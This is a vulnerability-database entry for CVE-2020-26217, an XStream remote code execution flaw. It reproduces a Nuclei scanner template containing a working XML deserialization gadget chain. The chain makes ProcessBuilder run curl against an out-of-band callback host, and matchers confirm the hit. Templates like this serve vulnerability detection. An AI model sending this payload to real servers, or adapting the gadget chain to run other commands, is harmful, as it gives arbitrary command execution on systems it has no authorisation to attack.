Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2020-26217
HistoryMar 12, 2023 - 3:38 a.m.

XStream <1.4.14 - Remote Code Execution

2023-03-1203:38:05
ProjectDiscovery
github.com
14
cve2020
xstream
deserialization
rce
oast
xstream_project

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

9

Confidence

High

EPSS

0.974

Percentile

99.9%

XStream before 1.4.14 is susceptible to remote code execution. An attacker can run arbitrary shell commands by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Users who rely on blocklists are affected.
id: CVE-2020-26217

info:
  name: XStream <1.4.14 - Remote Code Execution
  author: pwnhxl,vicrack
  severity: high
  description: |
    XStream before 1.4.14 is susceptible to remote code execution. An attacker can run arbitrary shell commands by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Users who rely on blocklists are affected.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: Fixed in 1.4.14.
  reference:
    - https://x-stream.github.io/CVE-2020-26217.html
    - https://github.com/x-stream/xstream/commit/0fec095d534126931c99fd38e9c6d41f5c685c1a
    - https://github.com/x-stream/xstream/security/advisories/GHSA-mw36-7c6c-q4q2
    - https://nvd.nist.gov/vuln/detail/cve-2020-26217
    - https://lists.apache.org/thread.html/r2de526726e7f4db4a7cb91b7355070779f51a84fd985c6529c2f4e9e@%3Cissues.activemq.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-26217
    cwe-id: CWE-78
    epss-score: 0.97384
    epss-percentile: 0.99909
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve,cve2020,xstream,deserialization,rce,oast,xstream_project

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <map>
          <entry>
            <jdk.nashorn.internal.objects.NativeString>
              <flags>0</flags>
              <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
                <dataHandler>
                  <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                    <contentType>text/plain</contentType>
                    <is class='java.io.SequenceInputStream'>
                      <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                        <iterator class='javax.imageio.spi.FilterIterator'>
                          <iter class='java.util.ArrayList$Itr'>
                            <cursor>0</cursor>
                            <lastRet>-1</lastRet>
                            <expectedModCount>1</expectedModCount>
                            <outer-class>
                              <java.lang.ProcessBuilder>
                                <command>
                                  <string>curl</string>
                                  <string>http://{{interactsh-url}}</string>
                                </command>
                              </java.lang.ProcessBuilder>
                            </outer-class>
                          </iter>
                          <filter class='javax.imageio.ImageIO$ContainsFilter'>
                            <method>
                              <class>java.lang.ProcessBuilder</class>
                              <name>start</name>
                              <parameter-types/>
                            </method>
                            <name>start</name>
                          </filter>
                          <next/>
                        </iterator>
                        <type>KEYS</type>
                      </e>
                      <in class='java.io.ByteArrayInputStream'>
                        <buf></buf>
                        <pos>0</pos>
                        <mark>0</mark>
                        <count>0</count>
                      </in>
                    </is>
                    <consumed>false</consumed>
                  </dataSource>
                  <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
              </value>
            </jdk.nashorn.internal.objects.NativeString>
            <string>test</string>
          </entry>
        </map>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"
# digest: 4a0a00473045022100be9faf87543a83616237ad88cc863a1635a1425a953e40de96c995ba626e966c02205aef01716e33bbe562f462643400f53526a145d1aed3fbf0d6f9d0f8b640e9c9:922c64590222798bb761d5b6d8e72950

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

9

Confidence

High

EPSS

0.974

Percentile

99.9%